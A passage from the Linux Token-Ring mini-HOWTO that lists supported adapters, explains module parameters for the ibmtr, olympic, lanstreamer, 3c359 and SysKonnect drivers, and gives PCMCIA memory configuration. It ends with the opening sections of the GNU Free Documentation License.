  • PCMCIA - Turbo 16/4 -- ibmtr_cs

  • PCMCIA - 16/4 -- ibmtr_cs

  • Cardbus - 16/4 - olympic, kernel v.2.4.3 or greater

Olicom

  • RapidFire 3139, 3140, 3141, and 3540

  • OC 3136

  • OC 3137

  • OC 3118

  • OC 3129

For these Olicom cards, see their website http://www.olicom.com for drivers. You will need a 2.2.x series kernel.

Madge

  • 51-02 Smart 16/4 PCI

  • 20-03 16/4 Cardbus Adapter Mk2

  • 51-04 Smart 16/4 PCI Ringnode Mk3

  • 51-09 Smart 16/4 Fiber PCI Ringnode

  • 51-07 Smart 100/16/4 PCI-HS Ringnode

  • 51-05 Smart 100/16/4 PCI Ringnode

  • 20-01 Smart 16/4 PCMCIA

  • 60-07 Presto PCI 2000

  • 60-06 Presto PCI Plus

  • 60-05 Presto PCI

For these Madge cards you'll want to visit their site http://www.madge.com for drivers and get the 2.31 Madge drivers. You will need either a 2.0.36 or 2.2.5 as a minimum.

2.41 drivers:

  • 51-05 Smart Mk4 PCI Adapter

  • 53-05 Smart Mk4 PCI Adapter (low profile)

  • 31-40 Rapidfire 3140V2 16/4 PCI Adapter

  • 20-03 Smart 16/4 Cardbus Mk2

  • 51-04 Smart 16/4 PCI Ringnode Mk3

  • 60-07 Presto PCI 2000

  • 60-06 Presto PCI Plus

  • 60-05 Presto PCI

According to the Madge README file the 2.41 driver has been tested on uniprocessor and SMP kernel versions: 2.0.36, 2.2.5-15 ,2.2.10, 2.2.12-20, 2.4.2-2.

Other Madge cards are reportedly based on the Texas Instruments tms380 chipset and thus as of the 2.3.26 kernel you can try the tms380tr driver.

SysKonnect

  • TR4/16(+) SK-4190 ISA

  • TR4/16(+) SK-4590 PCI

  • TR4/16(+) SK-4591 PCI

In the 2.2.x series of kernels try sktr. In the 2.3.x and greater series try the tms380tr driver.

SMC

  • Tokencard Elite (8115T)

  • Tokencard Elite/A MCA (8115T/A)

Driver is included as part of the 2.3.38+ kernel.

Intel

  • TokenExpress PRO

  • TokenExpress 16/4

Support for these cards is currently under development. Check http://www.linuxtr.net for status.

3.1. Drivers/Adapter Specifics

Here we'll describe the different options and configurations available for each of the available drivers.

3.1.1. Kernel Module Aliases and Parameters

Most drivers accept arguments in the form of module paramters (with the exception of the special case of PCMCIA, which is fully described below).

Kernel modules are specified in the file /etc/conf.modules or /etc/modules.conf depending upon which version of modutils you've got.

You can directly modify this file or use the tools builtin to your specific distribution. These distribution specific tools are beyond the scope of this document, but you can always directly modify the modules.conf file by hand to get things up and running and then figure out how your distribution handles these files. For example, Debian has several files in the /etc/modutils directory and from these builds the modules.conf file.

Kernel modules aliases are utilized to associate a particular name with a kernel module.

For token ring, this is used to assign drivers for each of the token ring interfaces so that the system scripts know which driver to insert when you bring an interface up.

The format of the alias lines are:
        alias module_name interface
Usually, the only line you'll need for the token ring networking would be something like:
alias olympic tr0
This binds the olympic driver to the tr0 interface so when you type
ifconfig tr0 up
if the tr0 interface is not already loaded, the system will insert the olympic driver, which in turn will find the network card and create the tr0 network device.

Kernel modules parameters are specified in the following format:
        options module_name parameter_1=XXX [parameter2=YYY ...]
Where the modules_name is the name of the driver, i.e. olympic, ibmtr, 3c359 and the ` parameters are those available for each driver. See either the following sections for driver specifics or check out the drivers source code.

For example, if you wanted to set the Olympic driver to 16 mbps operation and with a default buffer size of 8192 bytes, you would use the following line:
        options olympic ringspeed=16 pkt_buf_sz=8192

3.1.2. IBMTR Driver

IBM Tropic Chipset Based Token Ring Adapters

This is the original token ring driver in the kernel and supports almost all adapters that use the IBM Tropic chipset, including the IBM ISA, ISA/Pnp, and a multitude of adapters from other manufacturers.

The IBM Turbo 16/4 ISA/PnP adapter will, in fact, work fine with the ibmtr driver. In older drivers you had to run the card in Auto 16/4 compatability mode. The simplest way to set this is to use the LANAID disks sent with the card and run the command:
LANAIDC /FAST=AUTO16
You should then use LANAIDC or LANAID to configure the card according to documentation. The latest drivers for the Turbo Adapters will recognize these adapters and configure them straight out of the box. You may have to either turn off isapnp support in the kernel or modify your isapnp.conf file to enable the adapter.

Options:

Perusal of the ibmtr source code may leave you to believe that the adapter can take three parameters, however, in reality the driver doesn't take any. These parameters are a hang over from the early stages of the driver and are only intended to be used to force the driver to only test restricted åddresses when looking for adapters. The information on these options are included here for completeness only.

  • io: Specify the I/O ports that the driver will check for the presence of any cards. All Tropic based ISA adapters, or adapters emulating the ISA cards will be found on either port 0xA20 or 0xA24. If you know that your adapter is configured for 0xA24 and/or that probing on port 0xA20 will cause problems with your machine, use io to force the driver to check a specific port only.

    The Turbo adapters (including the confusingly named latest Auto 16/4 cards) can have their io regions located anywhere permitted by the PnP specification. This location is found using the new turbo detection code and no parameters are required.

  • irq & mem: The two options were used to tell the driver exactly which irq to use and where the shared ram for the adapter could be found. These two options are now totally redundant in the driver as the interrupt line and the location of the shared ram is obtained directly by interrogating the adapter.

3.1.3. Olympic Driver

IBM PCI Pit/Pit-Phy/Olympic chipset based token ring cards

Options:

The driver accepts four options: ringspeed, pkt_buf_sz, message_level and network_monitor.

These options can be specified differently for each card found, i.e if you have two olympic adapters in your machine and want to assign a ring speed of 16mbps to the first adapter, but a ring speed of 4mbps to the second adapter, your options line would read:
        options olympic ringspeed=16,4
However, it should be noted that the driver assigns value to each adapter in the order they are discovered¸ which is usually the order there are present on the pci bus. A little trial and error may be required to be certain which adapter is receiving which configuration option.

  • ringspeed: Has one of three settings 0 (default), 4 or 16. 0 will make the card autosense the ringspeed and join at the appropriate speed, this will be the default option for most people. 4 or 16 allow you to explicitly force the card to operate at a certain speed. The card will fail if you try to insert it at the wrong speed. (Although some hubs will allow this so be *very* careful). The main purpose for explicitly setting the ring speed is for when the card is first on the ring. In autosense mode, if the card cannot detect any active monitors on the ring it will not open, so you must re-init the card at the appropriate speed. Unfortunately at present the only way of doing this is rmmod and insmod which is a bit tough if it is compiled in the kernel. The driver does support 100 mbps full duplex operation. This is automatically detected by the adapter when connected to an appropriate switch.

  • pkt_buf_sz: This is this initial receive buffer allocation size. This will default to 4096 if no value is entered. You may increase performance of the driver by setting this to a value larger than the network packet size, although the driver now re-sizes buffers based on MTU settings as well.

  • message_level: Controls level of messages created by the driver. Defaults to 0 which only displays start-up and critical messages. Presently any non-zero value will display all soft messages as well. NB This does not turn debugging messages on, that must be done by modified the source code.

  • network_monitor: Any non-zero value will provide a quasi network monitoring mode. All unexpected MAC frames (beaconing etc.) will be received by the driver and the source and destination addresses printed. Also an entry will be added in /proc/net called olympic_tr%d, where tr%d is the registered device name, i.e tr0, tr1, etc. This displays low level information about the configuration of the ring and the adapter. This feature has been designed for network administrators to assist in the diagnosis of network / ring problems. (This used to OLYMPIC_NETWORK_MONITOR, but has now changed to allow each adapter to be configured differently and to alleviate the necessity to re-compile olympic to turn the option on).

Multi-card. The driver will detect multiple cards and will work with shared interrupts, each card is assigned the next token ring device, i.e. tr0 , tr1, tr2. The driver should also happily reside in the system with other drivers. It has been tested with ibmtr.c running. I have had multiple cards in the same system, all sharing the same interrupt and working perfectly fine together. This is also true for the Cardbus Olympic adapters, I have quite happily had a Cardbus adapter and regular 16 bit PCMCIA token ring adapter working together in the same laptop.

Variable MTU size:. The driver can handle a MTU size upto either 4500 or 18000 depending upon ring speed. The driver also changes the size of the receive buffers as part of the mtu re-sizing, so if you set mtu = 18000, you will need to be able to allocate 16 * (sk_buff with 18000 buffer size) call it 18500 bytes per ring position = 296,000 bytes of memory space, plus of course anything necessary for the tx sk_buff's. Remember this is per card, so if you are building routers, gateway's etc, you could start to use a lot of memory real fast.

3.1.4. Lanstreamer Driver

IBM PCI/MCA Lanstreamer chipset based token ring cards

Options:

The driver accepts three options: ringspeed, pkt_buf_sz, message_level and network_monitor.

These options can be specified differently for each card found, i.e if you have two olympic adapters in your machine and want to assign a ring speed of 16mbps to the first adapter, but a ring speed of 4mbps to the second adapter, your options line would read:
        options lanstreamer ringspeed=16,4
However, it should be noted that the driver assigns value to each adapter in the order they are discovered¸ which is usually the order there are present on the pci/mca bus. A little trial and error may be required to be certain which adapter is receiving which configuration option.

  • ringspeed: Has one of three settings 0 (default), 4 or 16. 0 will make the card autosense the ringspeed and join at the appropriate speed, this will be the default option for most people. 4 or 16 allow you to explicitly force the card to operate at a certain speed. The card will fail if you try to insert it at the wrong speed. (Although some hubs will allow this so be *very* careful). The main purpose for explicitly setting the ring speed is for when the card is first on the ring. In autosense mode, if the card cannot detect any active monitors on the ring it will not open, so you must re-init the card at the appropriate speed. Unfortunately at present the only way of doing this is rmmod and insmod which is a bit tough if it is compiled in the kernel. switch.

  • pkt_buf_sz: This is this initial receive buffer allocation size. This will default to 4096 if no value is entered. You may increase performance of the driver by setting this to a value larger than the network packet size, although the driver now re-sizes buffers based on MTU settings as well.

  • message_level: Controls level of messages created by the driver. Defaults to 0 which only displays start-up and critical messages. Presently any non-zero value will display all soft messages as well. NB This does not turn debugging messages on, that must be done by modified the source code.

Network Monitor. The Lanstreamer driver does support a network monitor mode similar to the olympic driver, however it is a compile time option and not a module parameter. To enable the network monitor mode, edit lanstreamer.c and change the line:
#define STREAMER_NETWORK_MONITOR 0
to read:
#define STREAMER_NETWORK_MONITOR 1
All unexpected MAC frames (beaconing etc.) will be received by the driver and the source and destination addresses printed. Also an entry will be added in /proc/net called streamer_tr. This displays low level information about the configuration of the ring and the adapter. This feature has been designed for network administrators to assist in the diagnosis of network / ring problems.

Multi-card. The driver will detect multiple cards and will work with shared interrupts, each card is assigned the next token ring device, i.e. tr0 , tr1, tr2. The driver should also happily reside in the system with other drivers.

Variable MTU size:. The driver can handle a MTU size upto either 4500 or 18000 depending upon ring speed. The driver also changes the size of the receive buffers as part of the mtu re-sizing, so if you set mtu = 18000, you will need to be able to allocate 16 * (sk_buff with 18000 buffer size) call it 18500 bytes per ring position = 296,000 bytes of memory space, plus of course anything necessary for the tx sk_buff's. Remember this is per card, so if you are building routers, gateway's etc, you could start to use a lot of memory real fast.

3.1.5. 3Com 3C359 Driver

3COM PCI TOKEN LINK VELOCITY XL TOKEN RING CARDS

Currently the 3c359 driver in not included in the standard kernel source. To utlize the driver, you must download the driver from the Linux Token Ring Project web site and patch your kernel.

Once you've downloaded the file, you can patch your kernel with the following commands:
        cd /usr/src/linux
        patch -p1 < 3c359-2.4.16.patch
or, if the patch file is gzipped:
        zcat 3c359-2.4.16.patch | patch -p1
Then just run make config|menuconfig|xconfig and select the 3c359 driver from the token ring drivers section of the kernel configuration and then compile and install the kernel and/or modules as usual.

Options:

The driver accepts three options: ringspeed, pkt_buf_sz, message_level.

These options can be specified differently for each card found, i.e if you have two olympic adapters in your machine and want to assign a ring speed of 16mbps to the first adapter, but a ring speed of 4mbps to the second adapter, your options line would read:
        options 3c359 ringspeed=16,4
However, it should be noted that the driver assigns value to each adapter in the order they are discovered¸ which is usually the order there are present on the pci bus. A little trial and error may be required to be certain which adapter is receiving which configuration option.

  • ringspeed: Has one of three settings 0 (default), 4 or 16. 0 will make the card autosense the ringspeed and join at the appropriate speed, this will be the default option for most people. 4 or 16 allow you to explicitly force the card to operate at a certain speed. The card will fail if you try to insert it at the wrong speed. (Although some hubs will allow this so be *very* careful). The main purpose for explicitly setting the ring speed is for when the card is first on the ring. In autosense mode, if the card cannot detect any active monitors on the ring it will open at the same speed as its last opening. This can be harardous if this speed does not match the speed you want the ring to operate at.

  • pkt_buf_sz: This is this initial receive buffer allocation size. This will default to 4096 if no value is entered. You may increase performance of the driver by setting this to a value larger than the network packet size, although the driver now re-sizes buffers based on MTU settings as well.

  • message_level: Controls level of messages created by the driver. Defaults to 0 which only displays start-up and critical messages. Presently any non-zero value will display all soft messages as well. NB This does not turn debugging messages on, that must be done by modified the source code.

Multi-card. The driver will detect multiple cards and will work with shared interrupts, each card is assigned the next token ring device, i.e. tr0 , tr1, tr2. The driver should also happily reside in the system with other drivers. It has been tested with ibmtr.c running. I have had multiple cards in the same system, all sharing the same interrupt and working perfectly fine together.

Variable MTU size:. The driver can handle a MTU size upto either 4500 or 18000 depending upon ring speed. The driver also changes the size of the receive buffers as part of the mtu re-sizing, so if you set mtu = 18000, you will need to be able to allocate 16 * (sk_buff with 18000 buffer size) call it 18500 bytes per ring position = 296,000 bytes of memory space, plus of course anything necessary for the tx sk_buff's. Remember this is per card, so if you are building routers, gateway's etc, you could start to use a lot of memory real fast.

3.1.6. SysKonnect adapters

Information for the SysKonnect Token Ring ISA/PCI Adapter is courtesy Jay Schulist <jschlst@samba.org>

The Linux SysKonnect Token Ring driver works with the SysKonnect TR4/16(+) ISA, SysKonnect TR4/16(+) PCI, SysKonnect TR4/16 PCI, and older revisions of the SK NET TR4/16 ISA card.

Latest information on this driver can be obtained on the Linux-SNA WWW site. Please point your browser to: http://www.linux-sna.org

Important information to be noted:

  • 1. Adapters can be slow to open (~20 secs) and close (~5 secs), please be patient.

  • 2. This driver works very well when autoprobing for adapters. Why even think about those nasty io/int/dma settings of modprobe when the driver will do it all for you!

This driver is rather simple to use. Select Y to Token Ring adapter support in the kernel configuration. A choice for SysKonnect Token Ring adapters will appear. This drives supports all SysKonnect ISA and PCI adapters. Choose this option. I personally recommend compiling the driver as a module (M), but if you you would like to compile it staticly answer Y instead.

This driver supports multiple adapters without the need to load multiple copies of the driver. You should be able to load up to 7 adapters without any kernel modifications, if you are in need of more please contact the maintainer of this driver.

Load the driver either by lilo/loadlin or as a module. When a module using the following command will suffice for most:
        # modprobe sktr
This will produce output similar to the following: (Output is user specific)
        sktr.c: v1.01 08/29/97 by Christoph Goos
        tr0: SK NET TR 4/16 PCI found at 0x6100, using IRQ 17.
        tr1: SK NET TR 4/16 PCI found at 0x6200, using IRQ 16.
        tr2: SK NET TR 4/16 ISA found at 0xa20, using IRQ 10 and DMA 5.
Now just setup the device via ifconfig and set and routes you may have. After this you are ready to start sending some tokens.

Errata. For anyone wondering where to pick up the SysKonnect adapters please browse to http://www.syskonnect.com

Below is the setting for the SK NET TR 4/16 ISA adapters
                    ***************************
                    ***   C O N T E N T S   ***
                    ***************************

                1) Location of DIP-Switch W1
                2) Default settings
                3) DIP-Switch W1 description

        ==============================================================
        CHAPTER 1     LOCATION OF DIP-SWITCH
        ==============================================================

        +------------------------------------------------------------------+
        |+------+                         +-----+            +---+         |
        ||------|                      W1 +-----+     +----+ |   |         |
        ||------|                                     |    | |   |      +---+
        ||------|              +-----------+          +----+ |   |      |  ||
        ||------|              |           |          +---+  +---+      +---+
        ||------|              | TMS380C26 |          |   |                |
        ||------|              |           |          +---+                |-+
        |+------+              |           |                               | |
        |                      +-----------+                               | |
        |                                                                  | |
        |                                                                  |-+
        |                                                                  |
        |                                                                  |
        |                                                                  |
        |                                                                  |
        +------------+----------------+--+-----------------------+---------+
                     +----------------+  +-----------------------+

        ==============================================================
        CHAPTER 2     DEFAULT SETTINGS
        ==============================================================

          W1    1  2  3  4  5  6  7  8
        +------------------------------+
        | ON    X                      |
        | OFF      X  X  X  X  X  X  X |
        +------------------------------+

        W1.1 = ON               Adapter drives address lines SA17..19
        W1.2 - 1.5 = OFF        BootROM disabled
        W1.6 - 1.8 = OFF        I/O address 0A20h

        ==============================================================
        CHAPTER 3     DIP SWITCH W1 DESCRIPTION
        ==============================================================

      +---+---+---+---+---+---+---+---+  ON
      | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
      +---+---+---+---+---+---+---+---+  OFF
      |AD | BootROM Addr. |  I/O      |
      +-+-+-------+-------+-----+-----+
        |         |             |
        |         |             +------ 6     7     8
        |         |                     ON    ON    ON       1900h
        |         |                     ON    ON    OFF      0900h
        |         |                     ON    OFF   ON       1980h
        |         |                     ON    OFF   OFF      0980h
        |         |                     OFF   ON    ON       1b20h
        |         |                     OFF   ON    OFF      0b20h
        |         |                     OFF   OFF   ON       1a20h
        |         |                     OFF   OFF   OFF      0a20h    (+)
        |         |
        |         |
        |         +-------- 2     3     4     5
        |                   OFF   x     x     x       disabled  (+)
        |                   ON    ON    ON    ON      C0000
        |                   ON    ON    ON    OFF     C4000
        |                   ON    ON    OFF   ON      C8000
        |                   ON    ON    OFF   OFF     CC000
        |                   ON    OFF   ON    ON      D0000
        |                   ON    OFF   ON    OFF     D4000
        |                   ON    OFF   OFF   ON      D8000
        |                   ON    OFF   OFF   OFF     DC000
        |
        |
        +----- 1
               OFF    adapter does NOT drive SA<17..19>
               ON     adapter drives SA<17..19>  (+)

        (+) means default setting

3.1.7. PCMCIA

3.1.7.1. Introduction

PCMCIA Token Ring adapters will work on all versions of the Linux kernel. Unfortunately, the road to hell is often paved with melting snowballs ;-) and there are a myriad of different combinations that can be used to get the adapters to work, all with different options, different requirements and different issues. Hopefully with this document you will be able to figure out which combinations of ingredients are required and how to get them up and running on your machine.

3.1.7.2. History

In the 2.0.x and 2.2.x kernels days, pcmcia was only available as an external package, created and maintained by David Hinds. When the only stable kernel available was 2.0.36, life was pretty easy and with a few simple configuration options the adapters would work.

With the advent of 2.2.x, ibmtr.c was completely updated, which broke the pcmcia driver (ibmtr_cs.c). The pcmcia driver was updated to work with the new ibmtr driver and the 2.2.x kernels. This is where the first level of complication starts. As the pcmcia_cs package is stand alone, it has to support the various different kernels, so instead of being able to have different versions of drivers in different versions of the kernel source, the pcmcia_cs drivers must work with all kernel versions. This not only creates some ugliness in the driver itself but also causes confusion as to which version of pcmcia_cs works for the latest kernel.

At this point, everything was working fine, and then come along the 2.3.x develpment series of kernels. The 2.3.x kernels provided their own support for pcmcia and the ibmtr_cs driver was included in the kernel proper. So now there were two ways of getting pcmcia token ring support, either using the kernel drivers themselves or using the pcmcia_cs package, not too much of a problem because only developers were using the 2.3.x kernels. Of course this all changed when the 2.4 kernel was released and a lot more users started using the kernel.

During late 2000, early 2001, significant development work was done on both the standard ibmtr driver and the pcmcia driver. Original pcmcia updates including using high memory and hot-eject support. These initial updates were only for the 2.2.x kernels, and hence only included in the pcmcia_cs package. Later development saw great improvements in ibmtr and ibmtr_cs for the 2.4.x kernels. So as of writing, 1/23/02 , there are many different combinations of kernel version and driver floating around especially considering that different distributions have released different versions of the 2.4 kernels.

3.1.7.3. 2.0.x kernels

If you are using one of the 2.0.x kernels, then I salute your perserverance and really you should have got the pcmcia drivers configured and working by now ;-)

You will have to use the pcmcia_cs package and play with the /etc/pcmcia/config.opts, see the section below about config.opts fun. Just about any version of pcmcia_cs that's been released in the last 2/3 years will work fine.

3.1.7.4. 2.2.0 - 2.2.6 kernels

These were the series of kernels where the pcmcia driver didn't work at all. It's probably just easiest to upgrade the kernel to a later version.

If you really do need to get this up and running, then a recent pcmcia_cs is required and you should be able to grab the ibmtr.c and ibmtr.h from a 2.2.7 - 2.2.16 kernel and use them (note no greater than 2.2.16 !!)

You have to do the config.opts mangling, see the section on setting all this up.

3.1.7.5. 2.2.7 - 2.2.16 kernels

These kernels are well supported, simply use the pcmcia_cs package and play with the config.opts file.

3.1.7.6. 2.2.17 - 2.2.19 kernels

The pcmcia driver was updated for these kernel to eliminate the need for the config.opts mangling. You'll need pcmcia_cs at least 3.1.24, although it is probably better just to grab the latest version.

Simply compile up pcmcia_cs and you're done. No need to play with config.opts, in fact if you've been running a previous version that did have the ibmtr_cs line in config.opts it would be a very good idea to remove or comment out the line. The new driver allocates the entire 64k for shared ram and it needs to be aligned on a 64k boundary, if you've got a previous srambase value not on a 64k boundary, the driver will barf and the kernel will panic.

3.1.7.7. 2.4.0 - 2.4.4 (non Redhat) kernels

Use the built-in kernel pcmcia driver and play with config.opts.

If you want to use the latest and greatest version of the driver with the high memory and hot-swap support you can download the patch and patch up your kernel. Then the line in config.opts can be removed and everything will work fine.

3.1.7.8. 2.4.4-ac11 > kernels

These kernels include the new drivers so simply compile up the drivers, ensure that there is no configuration line in config.opts and away you go.

3.1.7.9. 2.4.2 mangled, i.e. Redhat 7.1

When RedHat released 7.1 with the 2.4.2 kernel they modified the kernel (as they always do) and included the updated ibmtr/ibmtr_cs driver from the web site. If you're lucky this may work straight out of the box (again no need for the ibmtr_cs line in config.opts), if not then it is probably easiest to upgrade to the latest 2.4.x kernels and use the drivers there. (The reason being that while I will work out how to get around a distribution caused problem, I will not provide support for them, I'll answer questions and give help because I'm a nice guy, but I am not going to provide driver updates against distributions. Official support is for the drivers in the kernels available from the official kernel mirrors.

3.1.7.10. 2.4.x kernels and pcmcia_cs

There is no need to use pcmcia_cs with the 2.4 kernels to get the token ring adapters up and running, but I appreciate that some of you may need to use pcmcia_cs to get other adapters working that are not supported properly in the kernel.

The pcmcia_cs package will not work with the latest drivers, it may work with the 2.4.0-2.4.4 drivers. I am currently in two minds about providing support with pcmcia_cs for the 2.4 kernels, you can ask me directly or check the web site every now and then so see if anything has changed.

3.1.7.11. Config.opts mangling (or how to send yourself insane)

This is the hardest part to getting the pcmcia adapters working with the drivers that need the ibmtr_cs line in /etc/pcmcia/config.opts. No set of values is guaranteed to work the same on a different machine. It really is a case of trial and error but forewarned and forearmed with a little bit of knowledge can make the process a whole lot easier.

"Hey, I don't care, just give me something that works"

OK, try this, it works in most situations, if it doesn't you have to read the rest of the section anyway. Just insert the following line in /etc/pcmcia/config.opts
modules "ibmtr_cs" opts "mmiobase=0xd2000 srambase=0xd4000"
restart pcmcia and insert the adapter.

"OK, that didn't work, bring on the pain"

The pcmcia driver need to allocate two areas of memory to operate properly. All areas of memory allocated must be aligned on the same boundary as the size of the area being aligned, i.e. a block 8K in size must be on an 8K boundary (0xc8000, 0xca000, 0xcc000, 0xce000, 0xd0000, 0xd2000) and for a 16K block must be on a 16K boundary (0xc8000, 0xcc000, 0xd0000, 0xd4000). All memory areas must be allocated within the ISA address space, 0xC0000-0xDFFFF). Theoretically you should be able to use anywhere within this area, although experience has shown that most machines hide stuff in the 0xc0000-0xc9fff area. Some machines have even been known to use the 0xd0000-0xd1fff area without telling anybody (some thinkpads !!). So you really want to stick with memory allocations in the 0xcc000 - 0xdffff range.

Of course, the two memory areas cannot overlap either ;)

The first area of memory is an 8K area for the memory mapped input/output (MMIO) and must be placed on an 8K boundary. This area of memory is not usually the cause of any problems and can be placed pretty much anywhere, recommended values are: 0xcc000, 0xd0000,0xd2000,0xd4000.

The second area of memory can be sized to fit your desires, this is the area of memory where the incoming and outgoing packets are stored and received. The driver defaults to a 16K memory size and must be placed on a 16K boundary. Good areas are: 0xd0000,0xd4000,0xd8000.

Once you've decided which areas of memory you are goin to try, you need to add the correct line to the /etc/pcmcia/config.opts file. Configuration lines in this file take the format of:
            module "module_name" opts "option1=opt1_value option2=opt2_value ...."
In our case module_name is ibmtr_cs. There are three options that be set with the ibmtr_cs driver, mmiobase, srambase and sramsize.

If they are not set they will revert to the defaults in the driver, which in 9 cases out of 10 won't work for you. sramsize rarely has to be set unless you are looking for that last little bit of performance from your adapter.

So, having decided upon your values, let's say 0xd2000 for the MMIO and 0xd4000 for the shared memory you would build a config.opts line like this:
            module "ibmtr_cs" opts "mmiobase=0xd2000 srambase=0xd4000"
The pcmcia_cs package must be restarted for these new options to take effect, usually with:
/etc/init.d/pcmcia restart or /etc/rc.d/init.d/pcmcia/restart
depending upon which run level organization your distribution adheres to.

Then just plug it in and see if it works. If not you'll just have to go back and change the values for mmiobase and srambase until you find a combination that works. Or, you can upgrade to a kernel/pcmcia_cs version that support high memory allocation, where all this config.opts nonsense is not required and you can just happily plug your adapter in and watch it run.

3.1.8. Madge Supplied Drivers

Madge released 2.31 of their driver in 1999 and 2.41 in late 2001. Both drivers can be downloaded from the Madge web site and the 2.41 driver is also available from the Linux Token Ring Project web site.

Once the drivers have been downloaded, see the README file that comes with the drivers for instruction on how to built and install the drivers. The only other issue some people find with the drivers is a failure to build the tool chain due to an incorrect version of the newt libraries. If you get a compiler error relating to newt.h change the madge-source/include/mtok/config.h file so that the #define NEWNEWT line reads:
        #define NEWNEWT 1
This will ensure the tools use the correct newt libraries during the build process.

A patch is available from the Linux Token Ring Project web site for the 2.31 drivers to enable them to work with the 2.4.x kernels.

3.1.9. Olicom Drivers

Back when Olicom were still in business they did produce a Linux driver that does actually work. Trying to find the driver these days is a bit tough. If the ftp.olicom.com site is still up and running, the driver can be found there.

The driver is a combination of GPL source code and proprietary binary low level code. The driver only works with the 2.0.36 and 2.2.x kernels. It should be possible to port this driver to the 2.4.x kernels...

Prev | Home | Next
Hardware requirements |  | Known problems


GNU Free Documentation License

Token-Ring mini-HOWTO
Prev Next

A. GNU Free Documentation License

Prev | Home | Next
Commonly asked Questions |  | 0. PREAMBLE


0. PREAMBLE

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.1. 0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU Free Documentation License | Up | 1. APPLICABILITY AND DEFINITIONS


1. APPLICABILITY AND DEFINITIONS

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.2. 1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
0. PREAMBLE | Up | 2. VERBATIM COPYING


2. VERBATIM COPYING

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.3. 2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
1. APPLICABILITY AND DEFINITIONS | Up | 3. COPYING IN QUANTITY


3. COPYING IN QUANTITY

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.4. 3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
2. VERBATIM COPYING | Up | 4. MODIFICATIONS


4. MODIFICATIONS

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.5. 4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  • A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

